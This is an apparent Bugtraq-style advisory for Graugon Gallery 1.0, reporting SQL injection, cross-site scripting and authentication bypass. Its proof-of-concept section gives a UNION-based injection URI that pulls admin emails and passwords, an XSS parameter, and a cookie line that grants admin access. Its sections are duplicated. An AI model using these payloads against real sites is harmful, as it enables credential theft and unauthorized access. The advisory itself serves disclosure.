Graugon Gallery Multiple Security Vulnerabilities
BID:33745
Info
Graugon Gallery Multiple Security Vulnerabilities
| Bugtraq ID: | 33745 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 11 2009 12:00AM |
| Updated: | Feb 13 2009 10:38PM |
| Credit: | x0r |
| Vulnerable: |
Graugon Software Group Graugon Gallery 1.0 |
| Not Vulnerable: | |
Discussion
Graugon Gallery Multiple Security Vulnerabilities
Graugon Gallery is prone to multiple security vulnerabilities, including an SQL-injection issue, a cross-site scripting issue, and an authentication-bypass issue, because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, gain unauthorized access, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Graugon Gallery is prone to multiple security vulnerabilities, including an SQL-injection issue, a cross-site scripting issue, and an authentication-bypass issue, because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, gain unauthorized access, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Graugon Gallery Multiple Security Vulnerabilities
The following example URIs are available:
http://www.example.com/view.php?id=-1337 union select 0,0,0,concat(email,char(45),password(char45)),0,0 from g_settings--
http://www.example.com/ezPack/?id=[XSS]
The following example cookie data is available:
javascript:document.cookie ="g_admin=1; path=/"
The following example URIs are available:
http://www.example.com/view.php?id=-1337 union select 0,0,0,concat(email,char(45),password(char45)),0,0 from g_settings--
http://www.example.com/ezPack/?id=[XSS]
The following example cookie data is available:
javascript:document.cookie ="g_admin=1; path=/"
Solution / Fix
Graugon Gallery Multiple Security Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].